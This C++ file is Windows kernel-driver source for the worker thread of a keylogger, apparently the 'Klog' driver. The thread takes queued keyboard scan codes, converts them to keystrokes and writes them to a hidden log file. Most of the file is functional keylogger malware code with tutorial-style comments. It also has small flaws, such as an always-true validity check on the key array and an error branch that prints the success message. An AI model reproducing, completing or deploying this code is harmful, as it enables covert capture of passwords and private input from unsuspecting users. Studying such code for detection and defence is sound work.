extern "C"
{
	#include "ntddk.h"
}

#include "ntddkbd.h"
#include "Klog.h"
#include "KbdLog.h"
#include "KbdHook.h"
#include "ScanCode.h"

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)
{

	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; 
	
	//Set the worker thread to running state in device extension
	pKeyboardDeviceExtension->bThreadTerminate = false;

	//Create the worker thread
	HANDLE hThread; 
	NTSTATUS status	= PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadKeyLogger,
						pKeyboardDeviceExtension);

	if(!NT_SUCCESS(status))
		return status;

	DbgPrint("Key logger thread created...\n");
	
	//Obtain a pointer to the thread object
	ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode, 
		(PVOID*)&pKeyboardDeviceExtension->pThreadObj, NULL);

	DbgPrint("Key logger thread initialized; pThreadObject =  %x\n",
		&pKeyboardDeviceExtension->pThreadObj);
	
	//We don't need the thread handle
	ZwClose(hThread);
	
	return status;
}

//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
VOID ThreadKeyLogger(IN PVOID pContext)
{

	PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
	PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice;

	PLIST_ENTRY pListEntry;
	KEY_DATA* kData; //custom data structure used to hold scancodes in the linked list

	//Enter the main processing loop... This is where we will process the scancodes sent
	//to us by the completion routine.
	while(true)
	{
		// Wait for data to become available in the queue 
		KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);	

		pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
												&pKeyboardDeviceExtension->lockQueue);
		
		//////////////////////////////////////////////////////////////////////
		// NOTE: Kernel system threads must terminate themselves. They cannot
		// be terminated from outside the thread. If the driver is being 
		// unloaded, therefore the thread must terminate itself. To do this
		// we use a global variable stored in the Device Extension. 
		// When the unload routine wishes to termiate, it will set this 
		// flag equal to true and then block on the thread object. When
		// the thread checks this variable and terminates itself, the
		// Unload routine will be unblocked and able to continue its 
		// operations.
		//////////////////////////////////////////////////////////////////////
		if(pKeyboardDeviceExtension->bThreadTerminate == true)
		{
			PsTerminateSystemThread(STATUS_SUCCESS);
		}
		
		///////////////////////////////////////////////////////////////////////
		// NOTE: the structure contained in the list cannot be accessed directly. 
		// CONTAINING_RECORD returns a pointer to the beginning of the data structure
		// that was inserted into the list.
		////////////////////////////////////////////////////////////////////////
		kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

		//Convert the scan code to a key code
		char keys[3] = {0};
		ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

		//make sure the key has retuned a valid code before writing it to the file
		if(keys != 0)
		{
			//write the data out to a file 
			if(pKeyboardDeviceExtension->hLogFile != NULL) //make sure our file handle is valid
			{	
				IO_STATUS_BLOCK io_status;
				DbgPrint("Writing scan code to file...\n");
			    
				NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,
					&io_status,&keys,strlen(keys),NULL,NULL);

				if(status != STATUS_SUCCESS)
						DbgPrint("Writing scan code to file...\n");
				else
					DbgPrint("Scan code '%s' successfully written to file.\n",keys);
			}//end if
		}//end if	
	}//end while
	return;
}//end ThreadLogKeyboard